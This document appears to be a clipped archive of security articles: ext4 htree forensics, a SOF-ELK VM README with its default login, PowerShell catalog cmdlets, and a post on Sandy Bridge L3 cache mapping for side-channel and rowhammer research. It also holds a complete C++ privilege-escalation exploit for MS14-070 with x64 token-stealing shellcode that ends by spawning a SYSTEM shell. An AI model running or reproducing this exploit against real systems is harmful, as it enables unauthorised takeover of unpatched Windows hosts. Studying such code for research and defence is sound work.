<img src='img/usr-share-doc-color.png' width='1564' height='899' alt='usr-
share-doc-color' />First you'll notice that the "." and ".." entries still
appear at the beginning of the block. This is for backwards compatibility.
Notice that the length of the ".." entry is 0x0FF4 or 4080 bytes, consuming
the rest of the block. This is also a backwards compatibility feature, so that
the htree data that follows is hidden from any old code that is trying to
parse the directory as a simple sequence of file entries.

Things start getting really interesting after the first 24 bytes used by the
"." and ".." entries. The rest of the block is used by the dx\_root structure
that defines the root of the htree. Technically, the "." and ".." entries are
part of dx\_root as well and the data structure consumes the entire first
block, but the interesting fields start 24 bytes into the block:

[code]

    Byte 0-23 : "." and ".." entries  
         24-27: Reserved (zero)  
         28   : Hashing algorithm used  
         29   : Size of dx_entry records (normally 8)  
         30   : Depth of tree  
         31   : Flags (unused, normally 0)  
         32-33: Max dx_entry records possible  
         34-35: Actual number of dx_entry records to follow  
         36-39: Relative block number for "zero hash"  
         rest : dx_entry records
[/code]

After four null bytes at offset 24-27, a single byte specifies the hash
algorithm used by the htree. The byte codes are documented here, but 0x01
seems to be the standard, which is a hashing algorithm based on MD4.

Next comes the size of the dx\_entry records, which are used to index the
various blocks in the htree. These records are always 8 bytes long and will be
described further below.

Bytes 32-33 document the maximum number of dx\_entry records that can be
stuffed into this block after the initial fields of the dx\_root structure.
The dx\_entry records start 40 bytes into the block, so you might assume that
this max value is the block size of 4096 bytes, minus the 40 bytes of dx\_root
fields, divided by the 8 byte size of dx\_entry records. That would get you a
max value of 507. The actual value is 0x01FC or 508 because the "zero hash"
entry in bytes 36-39 counts as an extra dx\_entry record.

Given that a single dx\_root block can index over 500 htree blocks, and that
those blocks can contain hundreds of file name entries, it is rare for an
htree to ever need more than a single level. So in practice, the "depth of
tree" byte at offset 30 is always 0x00, indicating a flat tree. The
specification does allow for a nested tree, but I've never seen one in a real
world application.

Bytes 34-35 are the actual number of dx\_entry records to follow, again
counting the "zero hash" record in bytes 36-39 as one of the dx\_entry
records. Each dx\_entry record is a four byte hash value followed by a four
byte relative block offset from the beginning of the directory file. For
clarity, let's take a look at the first several dx\_entry records from this
example in tabular form:

[code]

    Hash value          Block offset  
    "zero hash"             1  
    0x0F3FFEA2             16  
    0X1D8171F2              8  
    0X2C3E5760             15  
    0X39989908              4  
    ...
[/code]

The dx\_entry records are a lookup table sorted by hash value. The initial
"zero hash" entry means that all files whose names hash to values less than
0x0F3FFEA2 can be found in block number 1 of the directory file. File names
with a hash value greater than or equal to 0x0F3FFEA2 but less than 0x1D8171F2
can be found in block 16 of the file, and so on. The dx\_entry records are
sorted by hash value so that the EXT file system code can do binary search to
find the appropriate block offset more quickly.

After the last dx\_entry record, the rest of the block is slack space.
Typically, this slack space contains directory entries from when the directory
was small enough to fit into a single block. For example, right after the end
of the last dx\_entry record, you can see most of an original entry for a
subdirectory \(file type 0x02\) named "alsa-utils". Then there's an entry for
another subdirectory named "anacron" at inode 0x000C14D7 \(791767\).
Typically, you will also find live entries for these directories in whatever
htree block they got hashed into. But it's possible that these directories
were later deleted, and that these entries in the directory slack may be the
only record of their existence.

The rest of the directory file is "leaf blocks" of the htree. These blocks are
full of normal directory entries and are simply read sequentially. The htree
format was specifically designed for backwards compatibility, so that older
code could still do a normal sequential search through the directory entries.

If you're thinking about carving for deleted directory files, be aware that
directory files larger than one block are usually fragmented. The EXT block
allocation algorithm prefers to put files into the same block group with their
parent directory. By the time a directory grows larger than a single block,
the nearby blocks have all been consumed.

_Hal Pomeranz is an independent Digital Forensic Analyst and Expert Witness.
He thinks that any day spent looking at a hex editor is a good day._

Permalink | Comments RSS Feed \- Post a comment | Trackback URL
### Post a Comment

\*Name  

\*Email  

Website  

\*Comment  

Captcha  
<img src='img/Temp2_7099.png' width='250' height='80' alt='Captcha' />

\*Response  

  

\* Indicates a required field.

  

# icanhearyounow-sansns2007.pdf

**Created:**| _8/3/2010 8:06:56 AM_  
---|---  
**Updated:**| _8/3/2010 8:06:56 AM_  
**Author:**| __  
**Tags:**| _research conference-material_  
  
<img src='img/icanhearyounow-sansns2007.pdf' />

# Open Source Insights

**Created:**| _6/6/2021 1:40:16 PM_  
---|---  
**Updated:**| _6/6/2021 1:40:16 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Understand your dependencies

Your software and your users rely not only on the code you write, but also on
the code your code depends on, the code _that_ code depends on, and so on. An
accurate view of the complete dependency graph is critical to understanding
the state of your project. And it’s not just code: you need to know about
security vulnerabilities, licenses, recent releases, and more.

# Sound Input Filter Generation For Integer Overflow Errors

**Created:**| _10/29/2013 9:35:05 AM_  
---|---  
**Updated:**| _10/29/2013 9:35:29 AM_  
**Author:**| _wishi_  
**Tags:**| _analysis software testing awesome integer overflows sdr_  
  
<img src='img/MIT-CSAIL-TR-2013-018.pdf' width='100%' height='20567' />

# philhagen/sof-elk

**Created:**| _9/23/2018 8:39:40 AM_  
---|---  
**Updated:**| _9/23/2018 8:39:40 AM_  
**Author:**| _wishi_  
**Tags:**| _log-management elasticsearch_  
  

  

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

Find file  Copy path

sof-elk / **VM\_README.md**

ad9adb6  3 days ago

<img src='img/428886.jpg' width='20' height='20' alt='@philhagen' /> philhagen
markdown tweak

**1** contributor

Raw Blame History

Open this file in GitHub Desktop

173 lines \(149 sloc\)  10.7 KB

# SOF-ELK® VM Distribution

<img src='img/sof-elk_logo_sm.png' width='500' height='151' alt='alt tag' />

**Background**

This page contains details for the SOF-ELK® \(Security Operations and
Forensics Elasticsearch, Logstash, Kibana\) VM. The VM is provided as a
community resource but is covered in depth in the following course\(s\):

  * SANS FOR572, Advanced Network Forensics and Analysis
  * SANS SEC555, SIEM with Tactical Analysis

The latest version of the VM itself is available here: http://for572.com/sof-
elk-vm

All parsers and dashboards for this VM are now maintained in this Github
repository. You can access them directly via http://for572.com/sof-elk-git

**General Information**

  * The VM was created with VMware Fusion v10.1.3 and ships with virtual hardware v12. 
    * If you're using an older version of VMware Workstation/Fusion/Player, you will likely need to convert the VM back to a previous version of the hardware.
    * Some VMware software provides this function via the GUI, or you may find the free "VMware vCenter Converter" tool helpful.
  * The "Deployment" snapshot is a "known-good" state, which is used as a basis for use in the FOR572 classroom materials
  * The VM is deployed with the "NAT" network mode enabled
  * Credentials: 
    * username: `elk_user`
      * password: `forensics`
      * has sudo access to run ALL commands
  * Logstash will ingest all files from the following filesystem locations: 
    * `/logstash/syslog/`: Syslog-formatted data
    * `/logstash/nfarch/`: Archived NetFlow output, formatted as described below
    * `/logstash/httpd/`: Apache logs in common, combined, or vhost-combined formats
    * `/logstash/passivedns/`: Logs from the passivedns utility
  * NOTICE: Remember that syslog DOES NOT reflect the year of a log entry\! Therefore, Logstash has been configured to look for a year value in the path to a file. For example: `/logstash/syslog/2015/var/log/messages` will assign all entries from that file to the year 2015. If no year is present, the current year will be assumed. This is enabled only for the `/logstash/syslog/` directory.
  * Commands to be familiar with: 
    * `/usr/local/sbin/sof-elk_clear.py`: DESTROY contents of the Elasticsearch database. Most frequently used with an index name base \(e.g. `sof-elk_clear.py -i logstash` will delete all data from the Elasticsearch `logstash-*` indexes. Other options detailed with the `-h` flag.
    * `/usr/local/sbin/sof-elk_update.sh`: Update the SOF-ELK® configuration files from the Github repository. \(Requires sudo.\)
  * Files to be familiar with: 
    * `/etc/logstash/conf.d/*.conf`: Symlinks to github-based FOR572-specific configs that address several common log formats: 
      * syslog
      * DHCPD
      * BIND querylog
      * iptables
      * Squid access\_log
      * Windows messages sent by Snare
      * Passivedns \(http://for572.com/passivedns\)
      * HTTPD Common/Combined/vhost+Combined/SSL Access Logs
      * Live NetFlow v5 and archived NetFlow records
    * `/usr/local/sof-elk/*`: Clone of Github repository \(http://for572.com/sof-elk-git \- public/v20180918 branch\)

**Latest Distribution Vitals**

  * Basic details on the distribution 
    * VM is a CentOS 7.5 base with all updates as of 2018-09-18
    * Includes Elastic stack components v6.4.1
    * Configuration files are from the "public/v20180918" branch of this Github repository
  * Metadata 
    * Filename and size: `Public SOF ELK v20180918.zip` \(`2,087,466,994` bytes\)
    * MD5: `27b6e941557c41d5667808600bb59724`
    * SHA256: `4d4c680d5a36c8f9b608d2f0576ca9cf1c979700381ded1f64c4ce7c4ebd70b1`

**How to Use**

  * Restore the "Deployment" snapshot
  * Boot the VM
  * Log into the VM with the `elk_user` credentials \(see above\) 
    * Logging in via SSH recommended, but if using the console login and a non-US keyboard, run `sudo loadkeys uk`, replacing `uk` as needed for your local keyboard mapping
  * cd to one of the `/logstash/*/` directories as appropriate
  * Place files in this location \(Mind the above warning about the year for syslog data. Files must also be readable by the "logstash" user.\)
  * Open the main Kibana dashboard using the Kibana URL shown in the pre-authentication screen, `http://<ip_address>:5601`
    * This dashboard gives a basic overview of what data has been loaded and how many records are present
    * There are links to several stock dashboards on the left hand side
  * Wait for Logstash to parse the input files, load the appropriate dashboard URL, and start interacting with your data

**Sample Data Included**

  * Syslog data in `~elk_user/lab-2.3_source_evidence/`
    * Unzip each of these files **into the`/logstash/syslog/` directory**, such as: `cd /logstash/syslog/ ; unzip ~elk_user/lab-2.3_source_evidence/<file>`
  * NetFlow data in `~elk_user/lab-3.1_source_evidence/`
    * Use the `nfdump2sof-elk.sh` script and write output **to the`/logstash/nfarch/` directory**, such as: `cd /home/elk_user/lab-3.1_source_evidence/ ; nfdump2sof-elk.sh -e 10.3.58.1 -r ~elk_user/lab-3.1_source_evidence/netflow/ -w /logstash/nfarch/lab-3.1_netflow.txt`

**Changelog**

  * Update: 2018-09-18: All-new with 6.4.1 
    * VM was rebuilt entirely from scratch with all Elastic stack components at v6.4.0
    * Updated system components to match latest CentOS 7.5
    * Rebuilt and revalidated all Logstash parsers against latest syntax
    * Total overhaul of most supporting\_scripts files to address latest Elasticsearch and Kibana APIs
    * Latest versions of domain\_stats and freq\_server
    * Better handling of dynamic \(boot-time\) memory allocation for Elasticsearch
    * Moved to MaxMind GeoIP2 format \(required by this version of Logstash\)
    * Updated several Logstash parsers to handle new fields, correct field types, etc.
    * Rebuilt all Kibana dashboards to handle updated index mappings and field names
    * IPv6 addresses can now be handled as IPs instead of strings
  * Update: 2017-05-18: Another MAJOR update\! 
    * Daily checks for upstream updates in the Github repository, with advisement on login if updates are available
    * Added dozens of parser configurations from Justin Henderson, supporting the SANS SEC555 class
    * Added experimental Plaso data ingest features, contributed by Mark McCurdy
    * Added freq\_server and domain\_stats as localhost-bound services
    * Added HTML visualization type to Kibana
    * Dynamically calculate ES\_HEAP\_SIZE
    * Uses a locally-running filebeat process for file ingest instead of logstash's file inputs
    * Replaced es\_nuke.sh with sof-elk\_clear.py, adding by-file/by-directory clear and optional reload from disk
    * Overall file cleanup
    * Enforce field naming consistency
    * Various updates to dashboards and parsers
    * Ingest locations changed to `/logstash/*/`
    * Increased VM's default RAM to 4GB
  * Update: 2016-07-08: This is a MAJOR update\! 
    * Complete overhaul of the VM
    * Re-branded to SOF-ELK®, with awesome logo to boot
    * Now uses CentOS 7.x as a base OS
    * Latest releases of the ELK stack components
    * All dashboards re-created to work in Kibana 4
    * Optimized Logstash parsing
    * Better post-deployment upgradability path
    * Far more than can be adequately documented here - see the git logs for all the details
    * No longer includes the Xplico application
  * Update: 2015-09-18 
    * Adjusted sample source evidence to correspond to the UTC change
    * Re-configured Xplico to start on boot \(not Logstash-related\)
  * Update: 2015-07-16 
    * Force permanence for UTC \(seriously, why doesn't replacing /etc/localtime last an update to the tzdata package?\!\)
    * Updated all packages
  * Update: 2015-05-05 
    * Uses separate ElasticSearch instance instead of Logstash's embedded version \(also disabled Groovy scripting engine to address CVE-2015-1427\)
    * Uses github-based configuration files, grok patterns, and dashboards \(tag 2015-05-05\)
    * Updated all packages
  * Update: 2015-03-21 
    * Corrects that somehow the time zone was set to US Eastern instead of UTC, which is unforgivable
  * Update: 2015-03-20 
    * Modified the embedded ElasticSearch server configuration to mitigate CVE-2015-1427 by disabling the Groovy scripting engine.
  * Update: 2015-01-01 
    * Modified the Kibana configuration so the for572.json dashboard is REALLY loaded as the default.
    * Updated all packages
  * Update: 2014-12-18 
    * Corrected a Squid log parsing error
    * corrected the Kibana "Home" dashboard to be the FOR572 summary/instruction dashboard
    * Updated all packages
  * Update: 2014-12-03: This is a MAJOR update\! 
    * Parsing has been updated and is far more robust. The VM cleanly ingests all known data, but let me know if there is any standard data that's not parsed correctly.
    * The VM can ingest live NetFlow v5 by opening UDP port 9995 in the firewall with the following commands using sudo: 
      * `fw_modify.sh -a open -p 9995 -r udp`
    * Archived NetFlow \(e.g. ASCII output from nfdump\) is ingested just as live NetFlow, so you can load historical evidence alongside live data, and use the same dashboard to examine both simultaneously. See the "Ingesting Archived NetFlow" section for details on this process.
    * Cisco ASA events sent via syslog are fully parsed
    * Much, much more\!

**Ingesting Archived NetFlow**

To ingest existing NetFlow evidence, it must be parsed into a specific format.
The included nfdump2sof-elk.sh script will take care of this.

  * Read from single file: `nfdump2sof-elk.sh -r /path/to/netflow/nfcapd.201703190000`
  * Read recursively from directory: `nfdump2sof-elk.sh -r /path/to/netflow/`
  * Optionally, you can specify the IP address of the exporter that created the flow data: `nfdump2sof-elk.sh -e 10.3.58.1 -r /path/to/netflow/`

This script prints to STDOUT. Redirect to a file and place into the
`/logstash/nfarch/` directory for parsing into SOF-ELK®.

**Sample Data**

Some sample data is available in the `~elk_user/exercise_source_logs/`
directory. Unzip this to the `/logstash/syslog/` directory and check out the
syslog dashboard to get a quick feel for the overall process.

**Credits**

  * Derek B: Cisco ASA parsing/debugging and sample data
  * Barry A: Sample data and trobuleshooting
  * Ryan Johnson: Testing
  * Matt Bromiley: Testing
  * Mike Pilkington: Testing
  * Mark Hallman: Testing

**Administrative Notifications/Disclaimers/Legal/Boring Stuff**

  * This virtual appliance is provided "as is" with no express or implied warranty for accuracy or accessibility. No support for the functionality the VM provides is offered outside of this document.
  * This virtual appliance includes GeoLite2 data created by MaxMind, available from http://www.maxmind.com
  * SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Content is copyrighted by its respective contributors.

  

# Catalog cmdlets

**Created:**| _5/7/2017 10:19:36 AM_  
---|---  
**Updated:**| _5/7/2017 10:19:36 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

# Catalog Cmdlets

KeithB|Last Updated: 11/17/2016

|

1 Contributor

We have added two new cmdlets in Microsoft.Powershell.Secuity module to
generate and validate windows catalog files.

## New-FileCatalog

* * *
`New-FileCatalog` creates a windows catalog file for set of folders and files.
A catalog file contains hashes for all files in specified paths. Users can
distribute the set of folders along with corresponding the catalog file that
represents those folders. A catalog file can be used by the recipient of
content to validate whether any changes were made to the folders after the
catalog was created.

[code]

    New-FileCatalog [-CatalogFilePath] <string> [[-Path] <string[]>] [-CatalogVersion <int>] [-WhatIf] [-Confirm] [<CommonParameters>]
    
[/code]

We support creating catalog version 1 and 2. Version 1 uses SHA1 hashing
algorithm to create file hashes and version 2 uses SHA256. Catalog version 2
is not supported on _Windows Server 2008 R2_ and _Windows 7_. It is
recommended to use catalog version 2 if using platforms _Windows 8_ , _Windows
Server 2012_ and above.

To use this command on an existing module, specify the CatalogFilePath and
Path variables to match the location of the module manifest. In the example
below, the module manifest is in C:\Program Files\Windows
PowerShell\Modules\Pester.

<img src='img/newfilecatalog.jpg' width='576' height='47' />

This creates the catalog file.

<img src='img/catalogfile1.jpg' width='407' height='515' />

<img src='img/catalogfile2.jpg' width='408' height='514' />

To verify the integrity of a catalog file \(Pester.cat in above exmaple\) it
should be signed using the Set-AuthenticodeSignature cmdlet.

## Test-FileCatalog

* * *
`Test-FileCatalog` validates the catalog representing a set of folders.

[code]

    Test-FileCatalog [-CatalogFilePath] <string> [[-Path] <string[]>] [-Detailed] [-FilesToSkip <string[]>] [-WhatIf] [-Confirm] [<CommonParameters>]
    
[/code]

<img src='img/testfilecatalog.jpg' width='576' height='111' />

This cmdlet compares the hashes of all files and their relative paths found in
the catalog file with ones saved to disk. If it detects any mismatch between
file hashes and paths it returns a status of `ValidationFailed`. Users can
retrieve all this information using the `Detailed` switch. The signing status
of the catalog is displayed as the `Signature` field, which is same as calling
the Get-AuthenticodeSignature cmdlet on the catalog file. Users can also skip
any file during validation by using the `FilesToSkip` parameter.

  

# Lacking Rhoticity: L3 cache mapping on Sandy Bridge CPUs

**Created:**| _4/29/2015 10:24:22 AM_  
---|---  
**Updated:**| _4/29/2015 10:24:22 AM_  
**Author:**| __  
**Tags:**| _hardware cache_  
  

# L3 cache mapping on Sandy Bridge CPUs

In 2013, some researchers reverse-engineered how Intel Sandy Bridge CPUs map
physical addresses to cache sets in the L3 cache \(the last-level cache\).
They were interested in the cache mapping because it can be used to defeat
kernel ASLR. I'm interested because the cache mapping can be used to test
whether cached memory accesses can do row hammering \(which can cause
exploitable bit flips in some DRAM devices\).

The researchers published the details in the paper "Practical Timing Side
Channel Attacks Against Kernel Space ASLR" \(Ralf Hund, Carsten Willems and
Thorsten Holz\).

They only published the mapping for 4-core CPUs, but I have figured out the
mapping for 2-core CPUs as well.

Some background:

  * On Sandy Bridge CPUs, the L3 cache is divided into _slices_. Physical addresses are hashed to determine which slice of the L3 cache they will be stored in. 
  * The L3 cache is _distributed_ and _ring-based_. There is one slice per core, but all the cores in a CPU can access all the cache slices via a ring bus which connects all the cores and their caches together. 
  * When a core accesses a memory location, the location will be slightly slower to access if it maps to a different core's cache slice, because it would take one or two hops around the ring bus to access it. The protocol used on the ring bus is based on QPI \(Intel's QuickPath Interconnect\). \(QPI is a protocol used for connecting multiple CPUs together on high-end multi-socket systems.\) 
  * Each cache slice contains 2048 cache sets. 
  * On lower-end CPUs, cache sets are 12-way associative, so a cache slice is 1.5MB in size \(2048 sets \* 12 ways \* 64 bytes per cache line = 1.5MB\). 
  * On higher-end CPUs, cache sets are 16-way associative, so a cache slice is 2MB in size \(2048 sets \* 16 ways \* 64 bytes per cache line = 2MB\). 

### Cache mapping

The researchers \(Hund et al\) figured out that the L3 cache uses the bits of
a physical address as follows:

  * **Bits 0-5:** These give the 6-bit byte offset within a 64-byte cache line. 
  * **Bits 6-16:** These give the 11-bit number of the cache set within a cache slice. 
  * **Bits 17-31:** These are hashed to determine which cache slice to use \(see below\). 
  * **Bits 32+:** Not used. 

The hash function used to choose the cache slice is as follows:

  * On a 4-core CPU, there are 4 cache slices, so the slice number is 2-bit. The two bits of the slice number are h1 and h2, where: 
    * h1 is the XOR of physical address bits 18, 19, 21, 23, 25, 27, 29, 30, 31. 
    * h2 is the XOR of physical address bits 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31. 
  * On a 2-core CPU, there are 2 cache slices, so the slice number is 1-bit. The slice number is the XOR of physical address bits 17, 18, 20, 22, 24, 25, 26, 27, 28, 30. 
Notice that this is equal to the XOR of h1 and h2. \(Bits 19, 21, 23, 29 and
31 cancel out when XORing h1 and h2.\) This is the part I figured out.

### Verifying the cache mapping

I figured out the 2-core hash function by making an educated guess and
verifying it.

I verified the guess by writing a C++ program which:

  * Picks N physical memory addresses that should map to the same cache set, according to the cache mapping that we guessed. 
We use Linux's `/proc/PID/pagemap` interface to determine which physical
addresses we have access to.

  * Measures the time it takes to access the N addresses. Specifically, the program accesses the first N-1 addresses and then times accessing the Nth address. 

The program does that for multiple values of N.

If we guessed the cache mapping correctly, then, on a CPU with a 12-way cache,
we should see the memory access time spike upwards at N=13. This is because,
at N=13, the memory locations we're accessing no longer fit within the 12-way
cache set, and we'll get L3 cache misses. The memory access time will go up
from the L3 cache's latency to DRAM's latency.

That increase is indeed what we see:

<img src='img/Temp2_4833.png' />

\(Note: This also assumes that the cache uses an LRU or Pseudo-LRU eviction
policy, which is what Sandy Bridge uses. However, the cache eviction policy
changed in Ivy Bridge, which is the successor to Sandy Bridge -- see below.\)

On the other hand, if we guessed the cache mapping incorrectly, the memory
access time will go upwards gradually at higher values of N. Specifically, on
a 2-cache-slice CPU, if we get the address-to-slice hash function wrong, we'll
see the access time reach DRAM latency at N=13\*2, on average. That's because
our N physical addresses will be distributed across 2 slices, so on average it
will take 13\*2 addresses before the 2 cache sets in the slices overflow and
produce cache misses.

That's what we get if we wrongly guess that the address-to-slice hash function
is h1 \(which was my first guess\):

<img src='img/Temp2_4831.png' />

### Further verification

What happens if our address-to-slice hash function is mostly right, but not
completely right? What happens if one of the bits we're XORing is wrong? \(For
example, maybe bit 17 should really be left out or bit 19 should really be
XOR'd too.\) Would we notice? Yes, we can test for that.

For each bit from 17 to 31, we can try inverting whether that bit is included
in the set of bits that our address-to-slice hash function XORs together.

Here's the graph we get for the resulting hash functions:

<img src='img/Temp2_4832.png' />

Our original hash function \(in bold\) shows the latency going up soonest, at
N=13, so it is likely to be the correct hash function.

### Test machine

I ran my tests on a machine with a 2-core, 4-hyperthread Sandy Bridge CPU that
reports the following in `/proc/cpuinfo` on Linux:

[code]

    cpu family      : 6
    model           : 42
    model name      : Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
    stepping        : 7
    cache size      : 3072 KB
    cpu cores       : 2
    
[/code]

### Ivy Bridge

This L3 cache mapping appears to apply to Ivy Bridge CPUs too. I ran the same
tests on a machine with an Ivy Bridge CPU \(also 2-core, 4-hyperthread\) and
initially got the same shape graphs.

However, the results weren't consistently reproducible on this machine. Later
runs showed higher memory access times for N<=12.

This is consistent with reports that Ivy Bridge's L3 cache uses DIP \(Dynamic
Insertion Policy\) for its cache eviction policy, in order to protect against
cache thrashing. DIP switches dynamically between an LRU policy \(better for
smaller working sets which fit in the cache\) and a BIP policy \(better for
larger working sets which don't fit in the cache\). For N>12, my test probably
generates enough cache misses to cause the cache to switch to BIP mode. Note
that this means the order in which we test values of N can affect the results
we get.

This machine's `/proc/cpuinfo` reports:

[code]

    cpu family      : 6
    model           : 58
    model name      : Intel(R) Core(TM) i5-3427U CPU @ 1.80GHz
    stepping        : 9
    cache size      : 3072 KB
    cpu cores       : 2
    
[/code]

See Henry Wong's blog post, "Intel Ivy Bridge Cache Replacement Policy", which
compares Sandy Bridge and Ivy Bridge.

Also see the paper "Adaptive Insertion Policies for High Performance Caching"
\(Moinuddin K. Qureshi, Aamer Jaleel, Yale N. Patt, Simon C. Steely Jr., Joel
Emer\), which describes DIP \(Dynamic Insertion Policy\).

### Thanks

Thanks to Yossef Oren for pointing me to the paper by Hund et al, which is
referenced by the paper he coauthored, "The Spy in the Sandbox -- Practical
Cache Attacks in Javascript" \(Yossef Oren, Vasileios P. Kemerlis, Simha
Sethumadhavan, Angelos D. Keromytis\).

# Vulndev/ms14-070.cpp at master · dkemp/Vulndev

**Created:**| _7/13/2015 3:38:45 PM_  
---|---  
**Updated:**| _7/13/2015 3:38:45 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

| // ms14-070.cpp : Defines the entry point for the console application.  
---|---  
| // MS14-070: https://technet.microsoft.com/library/security/ms14-070  
| // Original Exploit:
http://blog.korelogic.com/blog/2015/01/28/2k3\_tcpip\_setaddroptions\_exploit\_dev  
| // Tested On: Windows Server 2003 R2 x64  
| // Author: Darren Kemp  
|  
| \#include "stdafx.h"  
| \#include <Windows.h>  
|  
| typedef void \(WINAPI
\*DeviceIoControlFile\)\(HANDLE,HANDLE,PVOID,PVOID,PVOID,ULONG,PVOID,ULONG,PVOID,ULONG\);  
| typedef NTSTATUS \(WINAPI \*AllocateVirtualMemory\) \(HANDLE, PVOID,
ULONG\_PTR, PSIZE\_T, ULONG, ULONG\);  
|  
| \#define INFO\_CLASS\_PROTOCOL 0x200;  
| \#define INFO\_TYPE\_ADDRESS\_OBJECT 0x200;  
| \#define AO\_OPTION\_WINDOW 0x22;  
|  
| typedef struct TDIEntityID \{  
|  unsigned long tei\_entity;  
|  unsigned long tei\_instance;  
| \} TDIEntityID;  
|  
| typedef struct TDIObjectID \{  
|  TDIEntityID toi\_entity;  
|  unsigned long toi\_class;  
|  unsigned long toi\_type;  
|  unsigned long toi\_id;  
| \} TDIObjectID;  
|  
| typedef struct tcp\_request\_set\_information\_ex \{  
|  TDIObjectID ID;  
|  unsigned int BufferSize;  
|  unsigned char Buffer\[1\];  
| \} TCP\_REQUEST\_SET\_INFORMATION\_EX,
\*PTCP\_REQUEST\_SET\_INFORMATION\_EX;  
|  
| //Shellcode is a quick 64 bit port of https://www.exploit-
db.com/exploits/17902  
| BYTE payload\[\] =  
|  "\x65\x48\x8b\x04\x25\x88\x01\x00\x00" //mov rax,\[gs:0x188\]  
|  "\x48\x8b\x40\x68" //mov rax,\[rax+0x68\]  
|  "\x48\xc7\xc3\x04\x00\x00\x00" //mov rbx,4  
|  "\x50" //push rax  
|  "\x48\x8b\x80\xe0\x00\x00\x00" //mov rax,\[rax+0xe0\]  
|  "\x48\x2d\xe0\x00\x00\x00" //sub rax,0xe0  
|  "\x39\x98\xd8\x00\x00\x00" //cmp \[rax+0xd8\],ebx  
|  "\x75\xeb" //jne 15  
|  "\x8b\xb8\x60\x01\x00\x00" //mov edi,\[rax+0x160\]  
|  "\x81\xe7\xf8\xff\xff\x0f" //and edi,0x0ffffff8  
|  "\x58" //pop rax  
|  "\x48\xc7\xc3\x00\x00\x00\x00" //mov rbx,0xb80  
|  "\x48\x8b\x80\xe0\x00\x00\x00" //mov rax,\[rax+0xe0\]  
|  "\x48\x2d\xe0\x00\x00\x00" //sub rax,0xe0  
|  "\x39\x98\xd8\x00\x00\x00" //cmp \[rax+0xd8\],ebx  
|  "\x75\xeb" //jne 3e  
|  "\x89\xb8\x60\x01\x00\x00" //mov \[rax+0x160\],edi  
|  "\xc3"; //ret  
|  
| void patch\_payload\(DWORD pid\) \{  
|  payload\[58\] = \(BYTE\)\(DWORD\) pid & 0x000000ff;  
|  payload\[59\] = \(BYTE\)\(\(\(DWORD\) pid & 0x0000ff00\) >> 8\);  
|  payload\[60\] = \(BYTE\)\(\(\(DWORD\) pid & 0x00ff0000\) >> 16\);  
|  payload\[61\] = \(BYTE\)\(\(\(DWORD\) pid & 0xff000000\) >> 24\);  
| \}  
|  
| int trigger\(\) \{  
|  TCP\_REQUEST\_SET\_INFORMATION\_EX buf;  
|  memset\(&buf, 0, sizeof\(buf\)\);  
|  
|  buf.ID.toi\_entity.tei\_entity = 0x400;  
|  buf.ID.toi\_entity.tei\_instance = 0;  
|  buf.ID.toi\_class = INFO\_CLASS\_PROTOCOL;  
|  buf.ID.toi\_type = INFO\_TYPE\_ADDRESS\_OBJECT;  
|  buf.ID.toi\_id = AO\_OPTION\_WINDOW;  
|  buf.BufferSize = 4;  
|  
|  DeviceIoControlFile pDeviceIoControlFile = \(DeviceIoControlFile\)
GetProcAddress\(GetModuleHandle\(TEXT\("ntdll.dll"
\)\),"ZwDeviceIoControlFile"\);  
|  
|  if \(\!pDeviceIoControlFile\) \{  
|  printf\("\[-\] Failed to resolve ZwDeviceIoControlFile.\n" \);  
|  return -1;  
|  \}  
|  
|  HANDLE hTCP = CreateFileA\("\\\\\\\.\\\Tcp"
,FILE\_SHARE\_WRITE|FILE\_SHARE\_READ,0,NULL,OPEN\_EXISTING,0,NULL\);  
|  if \(\!hTCP\) \{  
|  printf\( "\[-\] Failed to open TCP device.\n" \);  
|  return -1;  
|  \}  
|  
|  printf\("\[+\] Triggering vulnerability.\n"\);  
|
pDeviceIoControlFile\(hTCP,NULL,NULL,NULL,&buf,0x00120028,&buf,sizeof\(buf\),0,0\);  
|  
|  printf\("\[+\] Dropping you to a shell.\n"\);  
|  system\("cmd.exe"\);  
|  
|  return 0;  
| \}  
|  
| int \_tmain\(int argc, \_TCHAR\* argv\[\]\) \{  
|  UINT magic = 0x00001397; //This value will get us through a few branches we
need to get to an exploitable path  
|  ULONG target = 0x1f00;  
|  
|  SIZE\_T null\_page\_size = 0x1000;  
|  SIZE\_T sc\_size = 0xFF;  
|  
|  PVOID null\_page = \(PVOID\) 1;  
|  PVOID sc = \(PVOID\) 0x1f00;  
|  PVOID offset = \(PVOID\) 0x50; //Pass a check to take a branch we need  
|  PVOID offset\_ptr = \(PVOID\) 0x190; //Location of the function pointer we
hijack  
|  
|  printf\("CVE-2014-4076 / MS14-070\n"\);  
|  
|  AllocateVirtualMemory pAllocateVirtualMemory = \(AllocateVirtualMemory\)
GetProcAddress\(GetModuleHandle\(TEXT\("ntdll.dll"
\)\),"ZwAllocateVirtualMemory"\);  
|  
|  if \(\!pAllocateVirtualMemory\) \{  
|  printf\("\[-\] Failed to resolve ZwAllocateVirtualMemory."\);  
|  return -1;  
|  \}  
|  
|  DWORD pid = \(DWORD\) GetCurrentProcessId\(\);  
|  printf\("\[+\] Will attempt to elevate PID %u.\n", pid\);  
|  
|  patch\_payload\(pid\);  
|  
|  printf\("\[+\] Mapping null page.\n"\);  
|  pAllocateVirtualMemory\(\(HANDLE\)-1, &null\_page, 0, &null\_page\_size,
MEM\_RESERVE|MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE\);  
|  
|  printf\("\[+\] Mapping payload at %p.\n", sc\);  
|  pAllocateVirtualMemory\(\(HANDLE\)-1, &sc, 0, &sc\_size,
MEM\_RESERVE|MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE\);  
|  
|  memset\(null\_page,0,null\_page\_size\);  
|  memset\(sc,0xcc,sc\_size\);  
|  
|  memcpy\(offset\_ptr,&target,sizeof\(target\)\);  
|  memcpy\(offset,&magic,sizeof\(magic\)\);  
|  memcpy\(sc,payload,sizeof\(payload\)-1\);  
|  
|  return trigger\(\);  
| \}

# » pinStalk : Tracing Program Execution Flow Iranian Honeynet Project

**Created:**| _12/18/2011 9:14:23 PM_  
---|---  
**Updated:**| _12/18/2011 9:14:23 PM_  
**Author:**| __  
**Tags:**| _bookmark binary instrumentation_  
  

## pinStalk : Tracing Program Execution Flow

December 12, 2011 — shahriyar

